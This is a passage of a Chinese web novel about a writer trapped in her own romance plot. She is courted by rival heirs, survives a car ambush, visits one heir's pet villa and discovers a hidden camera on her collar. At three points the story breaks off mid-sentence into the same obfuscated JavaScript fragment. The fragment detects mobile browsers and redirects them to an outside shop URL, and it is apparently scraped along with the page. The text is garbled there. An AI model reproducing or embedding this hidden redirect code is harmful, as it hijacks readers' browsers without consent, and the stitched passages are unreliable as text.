凌千幻淡然一笑:“我只是来教堂散心,恰好碰到了泪儿小姐而已。” “原来如此。”慕容绝也笑起来,似是无意般地问道,“可是我听说凌先生似乎对神圣家族颇有微词,您怎么会来克西卓尔散心?” 这话提醒了羽尘,他刚才只顾着和凌千幻争论,完全忽略了这个矛盾点。 “凌先生,我也很好奇这个问题。”他和慕容绝暂时统一了战线,“既然你那样厌恶神圣家族,又为什么要来克西卓尔大教堂?” 慕容绝听到他这个问句,心里便有了底。看来,羽尘和凌千幻也并非同盟。 凌千幻神情冷峻:“我只是不想让泪儿小姐和神圣家族的人走得太近罢了。” 祁冉看着眼前的三个男人一台戏,在心里连连鼓掌。短短几分钟,形式就几经变换,他们一会各自为战,一会又拉帮结派,共同对付其中的某一个人。 精彩,实在是太精彩了! 慕容绝转头看向凌千幻:“这么说来,凌先生也是来找泪儿小姐的?” 凌千幻略一点头:“没错。” 她就知道是这样,他终于亲口承认了! 凌千幻的话也正中慕容绝下怀,他看向羽尘,借用他刚才的话说道:“既然这样,那看来‘失礼’的人不止我一个。” 他双手交握,向椅背上随意一靠:“其实,我们做的事其实都一样,只是想对泪儿小姐发出邀请罢了。所以,我们在这里争吵也没有什么意义,最终还是要由泪儿小姐自己做出定夺。” 祁冉看热闹正看得起劲,她猛地被慕容绝点名,有种吃瓜吃到自己头上的错愕。 她还没来得及说话,就听到羽尘温声说道:“慕容少爷说得在理,我们应该尊重泪儿小姐的意见。无论她做出什么选择,我都不会有任何异议。” 话是这么说,可她要是不选羽尘,他肯定还是会幽怨地问她原因的! 凌千幻眼看着他和两人争执不下,觉得倒不如孤注一掷,也赞同慕容绝的建议,看向祁冉说道:“对,泪儿小姐,由你做出决断是最公平的。” 祁冉表面上还保持着气定神闲的神情,实际上已经是汗流浃背了。 怎么回事,他们几个说着说着,压力突然全给到她身上了! 这三个人个个都来头不小,有哪一个是她能得罪得起的? 她试图提出一条万全之策,讪讪地笑道:“既然这样,不如我们几个一起去慕容少爷说的地方吧?” 这样的话她就可以做到“三个心愿,一次满足”了! 而且三角形具有稳定性,他们可以互相制衡! “不行。” 三个男人异口同声地驳回了祁冉的想法。 慕容绝语气坚决:“泪儿小姐,这是你我之间的私事,有外人在场不合适。” 羽尘歉疚地笑笑:“我待会还有事,不能离开克西卓尔大教堂。” 凌千幻眼神真挚:“我想和泪儿小姐一起讨论剧本。” 这是什么地狱修罗场啊! 好在系统及时跳了出来,为祁冉消灭了选择困难的烦恼。 【剧情:在参观克西卓尔大教堂的过程中,凌千幻和慕容绝先后到访,为争夺泪儿与羽尘发生了争执,最后他们共同决定将选择权交给泪儿。善良的泪儿不想伤害他们当中的任何一个人,可她必须给出一个答案。最后,考虑到慕容绝的邀请最为迫切,这或许是他们冰释前嫌的契机,泪儿便宽容地接受了他的道歉,答应和他一同前往目的地。】 【任务:答应慕容绝的邀请,并跟随他去他所说的地方,倾听他的讲述。】 祁冉看这段文字只觉得惊悚,她这一去还能回来吗? 看慕容绝那副神秘莫测的笑容和遮遮掩掩的表述,她总感觉这是什么绑架囚禁强制爱的前奏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837090|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过系统已经再三保证过,她只要按照剧情行动就不会遭遇危险,祁冉将心一横,看向面前的几人。 “慕容少爷,凌先生,羽尘医生,我并不想伤害你们中的任何一个人,可是现在我必须做出选择,所以我希望落选的人不要为此而伤心,我先提前向你们道歉。” 她郑重其事地说着,尽量维持住另外两人对她的好感度,完成铺垫后才做起了任务。 “慕容少爷,虽然我们之间有许多不愉快的经历,但如果你知错能改,我想我们还是可以成为很好的朋友。所以,我愿意听听你的解释,跟你去你所说的那个地方。” “好。”慕容绝脸上浮现出获胜后得意的微笑,“那就请泪儿小姐跟我走吧,我的车就停在门外。” 祁冉又安慰了羽尘还有凌千幻几句,从他们的修罗场中迅速脱身。 她坐在车上满怀担忧地想,她迟早要把这些男主全得罪一遍。 今天慕容绝没有乘坐他那辆火箭改装版的钻石轿车来,这给了祁冉一边看风景一边想心事的空闲。因为两人半晌都没有开口,车内的气氛陷入一片寂静,周遭只有轮胎摩擦地面发出的轻微声响。 过了许久,慕容绝像是终于组织好了语言,突然开口问道:“泪儿小姐,你很讨厌我,是吗?” 祁冉想了想,尽管她已经完全不记得当初这本书的内容,可归根结底慕容绝是她亲手创造出的角色,所以,虽然他之前的那些行为总是惹得她很生气,但她对他的确没到厌恶至极的程度。 不过站在冰晶泪的立场上来说,她确实应该很反感慕容绝,祁冉一时不知道这个问题该怎样回答。 见祁冉沉默不语,慕容绝又追问道:“为什么?” 这还用问吗? “慕容少爷,虽然这样说不太好,但既然你决定和我破冰,所以我也想把话说得明白些。”祁冉斟酌着用词,如实回答道,“因为你总是以自我为中心,只知道从你的角度思考问题,从来都不考虑别人的感受。” 听到祁冉这句话,慕容绝竟然没有像往常那样发怒,也没有提出什么故意为难她的要求,只是在看了祁冉一会后偏过了头,始终一言不发。 什么情况,他今天到底是怎么回事? 慕容绝的一反常态让祁冉心里七上八下的,两个人就这么各怀心思地坐在汽车后座,始终静默无言。 祁冉觉得氛围有点尴尬,于是重新扭头看向窗外,装出一副欣赏风景的模样。 她无意间瞥到后视镜,一辆黑色轿车正飞速向他们驶来,马上就要撞上去! 祁冉慌忙呼喊:“慕容——” “砰!” 她一句话还没说出口,他们的车辆尾部就骤然发出一声巨响,祁冉也由于惯性,不受控制地向慕容绝那边倒去! 下一秒,祁冉就扑进了慕容绝的怀里,清晰地摸到他腹肌的轮廓。 好抓马的桥段啊! 在剧烈的晃动中,祁冉挣扎了几次都没能顺利起身,慕容绝作为她能在车里抓住的唯一东西,此刻就像一根救命稻草一样,她只能紧紧地抱住他。 连祁冉自己都觉得她有点变态了。 为了缓解尴尬,同时也是为了了解情况,祁冉慌忙问道:“发生什么事了?” 24.动物世界 “不是皇甫家就是欧阳家的人,他们一直都和慕容家不对付。”慕容绝看了眼窗外,脸色阴沉道,“之前他们暗杀了我四次都没成功,反倒是让我掌握了罪证,现在居然还敢再来。” 听慕容绝这口气,这种事他见得多了,难怪他这么冷静。 祁冉正要开口,慕容绝却突然皱紧眉头,迅速压下她的肩膀护住她的身体:“小心!” 一颗子弹毫不停歇地穿过车窗,祁冉感受到它从自己头上掠过时带起的气流,玻璃碎片也随之迸溅在慕容绝身上。 这时她才听见了一声枪响,紧接着是更多更激烈的枪声。 祁冉后怕地汗毛倒竖,在她尚不知情时,慕容绝救了她一命! 但是剧情里怎么还有枪战啊,这里是什么自由美利坚吗! 慕容绝紧紧压住祁冉的肩膀,将她往自己怀里揽了揽,为她隔绝了危险,语气镇定道:“没事,你不用担心,我的保镖会处理他们的。” 祁冉点点头,尽量控制着自己的声音不要发抖:“好。” 话是这么说,但祁冉是第一次身临其境地体验在枪林弹雨中求生,又是手无寸铁的状态,听着一阵阵玻璃乍然崩裂的巨响和连续不断的枪声,她还是被吓出了一身冷汗。 更糟糕的是祁冉刚才向系统提问,系统说在正常剧情范围内她的确不会受到伤害,但在原文的这段剧情中,她本来就没有受伤。这就意味着如果她现在被击中,她就是偏离了剧情,一样会受伤的。 好鸡肋的无敌状态啊! 怪不得系统说偏离剧情可能会有死亡风险,原来是在这等着她呢。 在车辆猛烈的摇晃中,唯一平稳的是慕容绝低沉的声音,他见祁冉脸色发白,便将祁冉抱得更紧了些:“别怕,待会我们就安全了。” 由于两人贴得太近,祁冉能感受到耳畔传来慕容绝温热的气息,心里多少踏实了些。 可恶,虽然他一直都很装,但现在也确实让他装到了! 在司机的力挽狂澜下,他终于夺回了轿车的控制权,将它停靠在一处掩体后,一队保镖也很快冲了上来,但敌方的攻势并未减弱分毫。 司机一边躲避着流弹,一边回头询问慕容绝的意见:“少爷,这里太危险了,要不然我们还是改道吧,我护送你回家。” “不用,我还不至于为了他们更改行程。”慕容绝果断地说道,“刘叔你别慌,稳住听我安排,我知道这里有另一条路能出去。” 接着,在慕容绝的冷静指挥下,车辆还真的顺利从战火中突围,没过多久周围就重归平静,并按照原计划来到慕容绝所说的地方。 祁冉下车后依然心有余悸,满脑子都是刚才遭遇的那场惊险刺激的突袭。她手脚冰凉,神情恍惚地往前走着,没注意脚下的步伐,突然被自己的脚绊了一下,整个人都不受控制地往前倒去。 在祁冉回过神调整平衡之前,她便已经碰到了一处实体,但她身上并没有传来预想中的疼痛。 这场意外让祁冉迅速清醒过来,她连忙将目光下移,只见一双有力的手臂正稳稳地托着她的身体。 “泪儿小姐,你没事吧?” 她扭头望向说话者,慕容绝那张线条利落的脸就近在咫尺,暗红的眼眸正凝视着他,内里的神色在关心之余还有几分调侃,唇角轻轻扬起,刚才的声音就是从这里发出的。 祁冉的脸庞迅速升温。 她腾地一下直起身子,连连向慕容绝鞠躬道谢并表示歉意:“我没事,谢谢慕容少爷,抱歉我刚才在想别的事,没注意看路……” 后知后觉的尴尬席卷了祁冉全身,她现在已经完全恢复了。 这是什么烂俗的摔进霸总怀里的桥段! 祁冉一边强行挽尊,一边为自己刚才的走神痛恨不已,慕容绝则大度地笑笑:“没关系泪儿小姐,普通人第一次遭遇这种事都会害怕,你的表现已经很冷静了。” 他低下头,像是自嘲般地说道:“我小时候第一次遇袭时,被吓得哭了一路,周围人怎么哄都哄不好,后来还是我父母命令我不许哭,我这才停了下来。” 听到慕容绝也有过这样狼狈的时刻,祁冉像是遇到了同道中人,心中的窘迫稍有缓解。 不过她没想到,慕容绝竟然还会安慰别人。 刚才在车上的时候她也注意到,他对司机说话的态度也很温和,虽然还是平时那种雷厉风行的语气,可说话的内容并不令人反感。 “我以前没见过刘叔,他不像是你的专人司机。”祁冉好奇道,“可从你们刚才的交谈来看,你好像和他很熟?” “对,刘叔是我爸的司机。”慕容绝带祁冉穿过花园的小径,道路两边是将近一人高的各种植株,显得他的声音比平时更加清晰,“我从小是他看着长大的,他把我当作他的半个儿子,一直都对我很好。不过,我父母总说他太惯着我,所以当我接管家业后提出让刘叔当我的司机时,他们拒绝得非常果断,没有一点商量的余地。” “为什么?”祁冉不太理解,“既然刘叔对你那么忠诚,你们也对他知根知底,不是更应该让他当你的司机吗?” “因为刘叔尊重的是我——慕容绝这个人本身的意见,无论我做什么他都愿意支持,但我父母需要的是一个能够辅佐慕容家族掌权人的人。”慕容绝无奈地笑笑,“在很多时候,我自己的想法和这一身份应当做出的决策是冲突的,如果我身边的人选择顺从前者,那对我们家族来说就是任由我胡闹,他们很有可能要面对许多不理智的结果,因此蒙受巨大的损失。” 祁冉了然地点头。豪门真复杂啊,搞得和古代的皇族一样。 果然是越免费,越自由! 说话间一行人已经抵达了目的地,祁冉抬头看了看面前这幢设计别致的小别墅,有些疑惑地问道:“慕容少爷,这是你的住宅吗?” 她记得系统曾经说过,慕容绝和凌千幻等人的住宅都可以用“一望无垠”来形容,但面前的这栋别墅和现实中富人的豪宅并没有太大区别,虽然放在现实中来说也已经是相当阔气,但放在玛丽苏世界只能称得上平平无奇。 “是,但也不算是,等你进去就知道了。”待管家开了门,慕容绝做出邀请的手势笑道,“泪儿小姐请进。” 祁冉跟在管家身后进了门,一眼便望见门后的护栏。 而在那之后,探出了好几只毛茸茸的脑袋,它们的瞳仁清亮,上蹿下跳着发出吠叫,像是为祁冉的到来而欢呼雀跃,尾巴都摇成了一朵盛开的花,将护栏扒拉得叮当作响。 祁冉见状也激动不已,一整颗心都柔软起来。 好可爱的小家伙们! 她没顾上穿鞋套就跑过去,摸了摸这些小狗的脑袋。她发现在它们后面还有很多跑来跑去的小小身影,除了猫狗这两种最常见的家养宠物,还有诸如小浣熊、狐狸、刺猬等各种各样的动物,时不时有人过来维持一下秩序,整个场景就像是一家动物咖啡厅。 只是这里的面积显然要比普通的动物咖啡厅大上许多,其中也没有顾客的身影。 祁冉回过头问慕容绝:“你准备在这里开店吗?” “不,它们都是我给自己养的宠物,每隔一段时间我都会过来看看。里面的那些人是我雇佣的管理员,他们负责照料和护理这些动物们。”慕容绝微微一笑,提醒她道,“你先把鞋套穿上,我们进去说。” 祁冉进入室内坐在沙发上,摸着膝头上正在沉睡的小猫。这里的每一只动物都是皮毛光滑,充满活力的模样,看得出被人精心照顾的痕迹。 一边十分意外地对慕容绝说道:“慕容少爷,我没想到你这么喜欢小动物。” 在她的印象里,连有钱人家的宠物都是一副尊贵端庄的样子,最起码不会像眼前的这些动物一样,肆无忌惮地在整个豪华别墅里乱窜。 “嗯。”慕容绝正在和面前的一只萨摩耶握手,脸上显出前所未有的放松,“我从小就很喜欢各种小动物,但我父母并不喜欢,所以也不允许我在家里养。” 祁冉问道:“那你现在已经有能力独自照顾宠物了,为什么不单独在慕容家盖一座房子,把这些动物养在那?这样也方便你经常过去和它们玩。” 把它们养在这里不是舍近求远吗? 慕容绝无奈地笑笑:“泪儿小姐,就像我刚才说的,在很多时候,我代表的不是我本身,而是慕容家族的掌权人。如果我做出这样的举动,外面很快就会传出风言风语说我玩物丧志,这对我们整个集团的形象都非常不利,无形之中会降低外界对我们的信任度,失去很多潜在的合作伙伴。” 祁冉觉得他们未免有些小题大做:“这样一件小事就会造成那么严重的后果?” 那看来当慕容家族掌权人也没什么意思,位高权重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16845993|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却不能做自己想做的事,干什么都得瞻前顾后的,放不开手脚。 “是的。”慕容绝答道,“我小时候也和你的想法一样,认为他们是谨慎过头了。所以,尽管从小我父母就反复强调,告诉我不许和普通人家的孩子一样没规矩,我还是没把他们的话放在心上。” 他讲起了一件事:“有一天我在放学回家的路上看见了一群和我同龄的孩子,他们邀请我一起玩。虽然我不认识那些小孩,但我觉得他们看起来很开心,于是我想办法摆脱了那些保镖和管家的控制,偷偷溜了出来,痛痛快快地玩了一下午,把身上的衣服弄得又脏又皱。” “那天傍晚回家的路上,我在路边捡到一只受伤的流浪猫,它和那时的我一样,身上都脏兮兮的。当时天色已晚,我就决定先把它带回家照顾,等它的情况稳定后再想办法给它找个去处。” 祁冉安静地听着,心想慕容绝小时候还挺有爱心的。 “我把那只小猫装进书包里,打算悄悄把它带到自己的卧室,不让我父母发现。可那天我一进门,发现家里来了很多人。”慕容绝的声音低落,像是想起了不好的回忆,“他们坐满了客厅,所有人都一齐盯着我满是脏污的脸,审视我衣衫不整的样子。我父母沉着脸,却一句话都没说,只是让人先把我关进卧室。” “等那些人走后我才再次见到我父母,他们问我知道不知道那些人是谁。”慕容绝说道,“我摇了摇头,紧接着就挨了我爸一巴掌。我妈则在一旁平静地看着,她只淡淡地说了一句话,这就是我为自己的无知付出的代价。” 祁冉听着就觉得窒息。 “他们说,这些人是来自各个知名企业的领导,他们正在筹划一个联合项目,项目领头人能从中获得长远的收益。我父母为此准备了很久,今天邀请他们来做客也是为了笼络人心,其间他们曾经谈论到我,让所有人都知道慕容家族这一任、下一任都会是杰出的人才,好让他们放心地和他们结为同盟。” 慕容绝苦笑了一下:“可这一切都被我毁于一旦。因为那天傍晚,我穿着又脏又乱的衣服出现在这群精英的视线内,没有人会将这样的形象和我父母口中的那名前途无量的慕容家族继承人联系起来,他们说不定还会反过来怀疑我父母的诚信问题,思量他们是否可靠。” 祁冉担忧地问:“那他们后来惩罚你了吗?” “没有,他们对我的教育从来都是点到为止,无论是夸奖还是惩罚,他们都不愿意花费太多时间。”慕容绝愧疚地说,“更何况,那只流浪猫已经替我受过了。” 祁冉心头一紧:“他们把它送走了?” “对。”一只狸花猫蹭蹭慕容绝的裤脚,他拍了拍它的脑袋,像是见到了十几年前的那只没能救下的小猫,“因为我刚犯了错,所以我并没有谈判的资格,只能眼睁睁地看着他们让人把它放走,并且没有和我再多说一句话。” 他抱起脚下的狸花猫靠在沙发上:“就像我刚才说的,同样的错误他们不会再训诫我第二次。” 祁冉在脑子里想了一箩筐的话,却始终觉得无论拿出哪句都不太合适。最后,她只能怀着一线希望,干巴巴地问了句:“那后来呢?” “没有后来了。”慕容绝轻声说,“我再也没见过那只流浪猫。” 祁冉低下头,忽然听到慕容绝又说了一句话。 “非要说后续的话,那就是现在了。我父母一直告诉我,如果一个人的权力足够大,那他就可以为所欲为。”慕容绝看看面前神采焕发的小动物们,用调侃的口吻地说了句,“从结果来看,这句话倒也没错。” 这完全就是野心家的培养方式吧,怪不得慕容绝会拥有这种霸道专制的性格! 他亲昵地抚摸逗弄着自己的动物朋友,继续说道:“现在,我达到了他们为我设置的目标,也因此超额实现了我当初的愿望,这些宠物都经过严格的筛选,品相上乘,性格温顺,随便挑一只都很讨人喜欢。” 他毫不吝啬自己对这些小动物们的赞美,却忽而话锋一转。 “可是,它们都不是我当初遇见的那只小猫。” 祁冉听出慕容绝话里有话。 “慕容少爷,你真的赞同你父母的观点吗?”她问道,“如果是这样,你今天应该就不会叫我来这里了吧。” “没错,我果然瞒不过你。”慕容绝笑了笑,“我要说的正是这个。” 25.谍中谍 慕容绝将身体后仰,将肩颈和背部都深深陷进沙发里,放松地笑起来,进入他们今天的正题。 “泪儿小姐,我从小就接受着精英主义的教育,所有人都告诉我权力就是一切,所以我拼尽全力地往上爬,试图踩在所有人头上,以为这样就不会再陷入小时候那种困顿的境地,再也不会有想要却得不到的东西。如果不是因为和你产生交集,我或许永远都不会明白我错得多么离谱。” 他扭头看向祁冉,身上那件价值不菲的衬衫随着他的动作出现了一丝褶皱。 “就像你说的,这世界上总有我控制不了的事物,比如自然规律不会因为我个人的意志发生改变,也并非所有人都会遵循我的命令而行动。除此之外,在那场拍卖会后,当你说我霸道专制时,我还意识到一个恐怖的事实。” 慕容绝依然保持着微笑,可那笑容中满是嘲弄。 “在我小时候,我的一切行动都要服从我父母的安排,我讨厌他们那种令人窒息的控制欲,讨厌强权带来的威压与胁迫。” “——而我现在也成为了这样的人。” 祁冉这才明白过来,慕容绝那天为什么会表露出那样的语气和眼神。那句话对她来说不过随口提出的一句指责,可对慕容绝而言它重如千钧,戳到了他内心的最痛处。 祁冉后悔不迭。 她真该死啊! “抱歉慕容少爷,我不是有意这样说的,我只是一时生气口不择言,你别往心里去。”她赶紧给自己找补,“更何况每个人都会受到自己周边环境的影响,这是不可避免的事,你也不用太过自责。” 祁冉说这话时还有点心虚,其实这事不能全怪他父母,慕容绝最该恨的人是她,毕竟这些基础设定都是她写的! 但她也没想到自己一笔带过的人物背景居然落地成了现实,并且衍生出这么多事来。 “不,你说的完全正确。”慕容绝阻止祁冉继续道歉,“因为我过去二十多年都生活在这样的环境中,所以养成了我行我素的做事风格,见到不合我心意的事就想强行让它改变,见到想要的东西就要不择手段地得到。面对这些情况,我根本不知道该怎样做才是正确的方式。” 想来也是,如果一个人没有接受过正确的教育,自然也不会拥有正确的认知。 “直到凌先生告诉我,这样做只会把你越推越远时,我才第一次意识到我这样做是错误的。”慕容绝讲述了那天之后发生的事,“再后来,洛玄在你家里发现了我暗中派人布置的微型摄像头,回家后便和我大吵一架,说我的行为太过无礼,并告诉我他已经替你屏蔽了慕容家族所有频段的信号,让我不要再干扰你的生活。所以,我趁这个机会冷静下来,这一周我也想了很多。” 他看向祁冉,回归了他们来这里最初的目的:“最终我得出答案,我必须和你把这些话说清楚,并向你好好道歉。” 他神情庄重地对祁冉伸出手:“泪儿小姐,我希望你能原谅我,给我一个改过自新的机会,再给我一点时间,让我慢慢学会什么才是和你相处的正确方式。” 慕容绝的语气并不柔和,全无认错时的卑微,祁冉估摸着这是因为他根本不会和别人说软话,就像他自己所说的那样。 不过和他先前的那些表现相比,这番道歉已经相当诚恳了,再加上系统已经规定了任务内容,祁冉便欣然握住他的手。 “没问题。慕容少爷,只要你愿意改正,我们可以重新建立良好的关系。” 她说着说着,又突然意识到一件事:“不过,既然洛玄少爷已经帮我屏蔽了慕容家族所有频段的信号,你今天是怎么找到我的?” 难不成他还有其他开盒手段? 慕容绝的眼神少见地飘忽起来:“我说了之后,还请你不要生气。” 祁冉一听这话顿感不妙,但还是好声好气地应道:“好,我保证听了之后不生气,你大胆说。” “因为上次你和凌先生有过接触,所以我在他身上安装了微型摄像头,方便在他和你见面的时候,通过他追踪到你的痕迹。” 祁冉倒吸一口冷气。 他这不是完全没改吗! “对了,我给你看个有趣的东西。”像是为了岔开话题,慕容绝迅速起身问附近的管理员,“‘吉祥’在哪,今天怎么没看见它?” “它去做羽毛护理了,这会应该已经结束了。”管理员会意地对慕容绝说道,“我去把它带过来。” 慕容绝点点头,他回到祁冉身边坐下,对她解释道:“‘吉祥’是一只鹦鹉,它很聪明。” 没过多久,祁冉就明白它为什么会叫这个名字了。 在管理员提着一个黄金鸟笼出现时,祁冉还没看清里面那只鹦鹉的样貌,就听见它用嘹亮的嗓音高喊道:“姐介,您吉祥!吃了嘛您?” 好家伙,这是什么天津鹦鹉! 难不成它还会说单口相声? 祁冉被它这副口音逗笑了,接过那只鸟笼瞧新鲜。 笼子里面的那只鹦鹉羽毛被打理得干净整齐,色彩绚丽,和她那头七彩长发比起来有过之而无不及。 祁冉没有养过鹦鹉,也没有逗鸟的经验,慕容绝见她一副手足无措的模样,便接来鸟笼向她介绍道:“和其他普通的鹦鹉不同,‘吉祥’不单会模仿人类说话,还可以回答一些简单的问题。” 说着,他为了给表演,对吉祥说道:“你看到这位小姐应该说什么?” “哎呀,真漂亮,真漂亮!”它大呼小叫起来,“少爷还是第一次带女人回来,他已经很久没笑过了!” 合着霸总小说的路人戏份都安排给它了是吧! 慕容绝平时都在给它教些什么啊! 作为霸总本人,慕容绝似乎对吉祥的表演十分满意,他笑容满面地和祁冉说道:“这样和它说话不太方便,我把它放出来吧,你也可以摸摸它。” 说着他打开鸟笼,吉祥随即轻巧地一跃,落在他的手指上,张来双翅仰面朝天地大喊着:“啊,自由!freedom!” 这鹦鹉是不是看过《肖由克的救赎》? 祁冉小心地接过慕容绝手上托着的鹦鹉,他对它吩咐了一句:“去,陪泪儿小姐玩玩。” “好的。”它得到慕容绝的命令,清清嗓子说道,“泪儿小姐,我来给你唱一首《青藏平原》。” 祁冉觉得这对它来说根本不费吹灰之力,很给面子地吹捧它道:“好的,我洗耳恭听。” 毕竟它的声音确实不是人类能发出的。 “是谁带来——” 第一句还没唱完,它的歌声就戛然而止,用锐利的眼神紧紧盯着祁冉衬衫领口的位置。 “怎么了?”祁冉疑惑地翻了下衣领,它上面并没有任何异常。 “吉祥演唱会不对外开放,禁止录像!”它怒目圆睁,像是被人踩到底线一样,剧烈地扑腾着翅膀冲到祁冉面前,用鸟喙去啄祁冉的领口,“请不要携带摄像头观演!” 这鹦鹉的版权意识好强啊! 但是它说的摄像头是什么情况? 祁冉不敢去碰鹦鹉,慌忙向身边的慕容绝求救:“慕容少爷,这是怎么回事?” “吉祥,不许攻击客人!”慕容绝怒声呵斥道,同时一把抓住鹦鹉将它塞回笼子里,让管理员赶紧把它带走。 喧闹的声音很快远去,慕容绝转而对祁冉说道:“抱歉泪儿小姐,让你受惊了。你还好吗?” “我没事。”祁冉心有余悸地看着笼子里躁动不安的鹦鹉,它依然在上蹿下跳,发狂似地撞击鸟笼。 她倒是没有恐鸟症,她不敢动吉祥的原因只有一个。 她害怕一不小心把慕容绝的鹦鹉碰个好歹,搞不好又会在她的债务上猛添一笔! “那就好。”慕容绝稍稍松了口气,解释起它发狂的原因来,“吉祥平时性情温顺,也很亲人,唯一会惹它发怒的事是在它表演的时候录像,那会让它觉得观众不尊重自己。” 他看向祁冉的领口,那里还留有被吉祥啄过的褶痕:“泪儿小姐,你带便携式摄像机了吗?” 祁冉一脸茫然地摇头:“没有。” 她又不是慕容绝,才不会到处布置摄像头! 她怀疑这鹦鹉会反感这种行为,完全是因为慕容绝把这种事干得太多了。 慕容绝沉思片刻,好像突然意识到什么一样叫了几个保镖过来:“你们检查一下泪儿小姐的衬衫领口,看看上面有没有什么异常。” 祁冉按照慕容绝的指示脱下衬衫,在那群保镖用显微镜观察它,上演梅开二度的场景时,慕容绝对她一脸严肃地说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857114|189682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “泪儿小姐,我怀疑有人在秘密监视你。” 他不就是那个监视者吗! “你是说,除了你以外,可能还有其他人监视我?”问出这句话的时候,祁冉差点没绷住。 “对。”慕容绝坦然承认道,“否则我也不会让他们检查你的衣服了。” 他说得好有道理。 “报告,慕容少爷,我们在衬衫领口处发现了微型摄像头。”利落地汇报完他们的发现,保镖的声音突然犹豫起来,“不过……” 慕容绝神色一凛:“有什么发现就说。” 保镖看了眼慕容绝,垂眸说道:“它好像是SAT公司的最新产品。” “什么?”慕容绝不可置信地说道,快步走到显微镜前确认保镖所说的话。 旁观的祁冉愣了愣,慕容绝这唱的是哪一出? 追查嫌疑人结果查到自己头上了? “这不可能。” 慕容绝眉头紧锁着陷入沉思,在瞥见祁冉时他突然意识到自己的处境微妙,赶忙向她解释道:“泪儿小姐,这不是我布置的摄像头。如果这件事是我自己做的,那我根本没必要隐瞒。” 确实,他都敢直接告诉她他在凌千幻身上装摄像头了! “慕容少爷,我相信摄像头不是你布置的。”祁冉先让他镇定下来,好给她留出安静的环境思考。 眼前的情况和上次洛玄在自己家时一致,都是意外发现了SAT公司生产的最新款微型摄像头。在上次的经历中,她锁定了两个嫌疑人,一个是慕容绝,他也对自己的所作所为供认不讳,现在没必要再隐瞒她;至于洛玄,如果他是安装摄像头的人,似乎也没有必要贼喊捉贼,主动帮她排除危险。 慕容绝显然也很清楚这一点,他提出了一个新的可能性:“如果是SAT的职员泄露了技术细节,那其他人也能够自然也能仿造出这种摄像头。” 祁冉发现他的话与之前洛玄所言存在矛盾:“可是洛玄少爷说过,SAT有明确规定这种行为是被禁止的,他们对此也排查得很严格。” “洛玄总是这样,缺乏对他人最基本的戒备。百密尚有一疏,他怎么能保证公司内部不存在任何漏洞?”慕容绝摇摇头,转而说了一句经典名言,“更何况,当你排除了一切不可能的情况,剩下的不管多么难以置信,那也都是真相。” 如果把这句话放在一本严谨的推理小说中,祁冉当然会觉得他说得对。 但这里是玛丽苏世界,有什么是不可能的啊! 祁冉腹诽着,却忽然灵光一现。 如果运用逆向思维,这件事似乎能变得更简单些。 慕容绝提供的信息将嫌疑人的范围扩大到每一个人,但对祁冉来说,在剧情里会和她产生紧密关联的人只有六位男主,做这件事的人一定在他们当中。 提到“科技”一词,她脑海中最先闪过的就是星痕的身影,其次是和他同属科技协会的洛玄与南宫冷夜,再次是总管SAT公司的慕容绝,接着是厌恶科技的凌千幻,最后是基本和这个词不沾边的羽尘。 结合已知信息,后三者的嫌疑很小,而在前三者中,洛玄的嫌疑也已经被排除,南宫冷夜和科技的联系不如星痕密切,毕竟“科研天才”是写在星痕人设里的关键词。 如果是星痕,那他的动机是什么? 祁冉正在脑海中进行可汗大点兵,系统提示音突然打断了她的思路。 【剧情:泪儿跟随慕容绝来到他的秘密基地,见到慕容绝不为人知的一面,因此对他有所改观。然而,正当两人沉浸在冰释前嫌的喜悦中时,他们却意外发现了泪儿身上的微型摄像头,聪明的泪儿很快便联想到了星痕,但她并没有确切证据,于是决定私下询问他是否知情。】 【任务:在慕容绝展开调查的同时,主动联络星痕并约他见面,当面问他是否知道微型摄像头一事,并让他对此作出解释。】 好家伙,还真让她给蒙对了! 但是有哪个嫌疑人会主动承认自己干了坏事? 不过她的剧本从来不讲道理,在辞别慕容绝后,祁冉迅速拨通了星痕的电话。 几秒之后,电话那头便传来一个明朗轻快的声音:“泪儿小姐?” 她开门见山道:“星痕学长,请问你待会有空和我见一面吗?” 26.来自星星的他 挂掉电话后不久,祁冉如约来到科技协会的活动室,敲开会长办公室的大门。 “星痕学长,你怎么周末还待在科技协会,不回家休息吗?” 秉持着先礼后兵的原则,祁冉一边落座一边和星痕闲聊了几句,接过他给自己倒的茶水。 星痕把纸杯交给祁冉,重新坐回办公桌后笑道:“最近科技协会里的事务有点多,不光是我,洛玄和南宫也没空休息,等熬过这一阵就好了。” 祁冉点点头,她刚才路过实验室的时候也见到了洛玄和南宫冷夜,和他们说了半天好话才得以脱身。 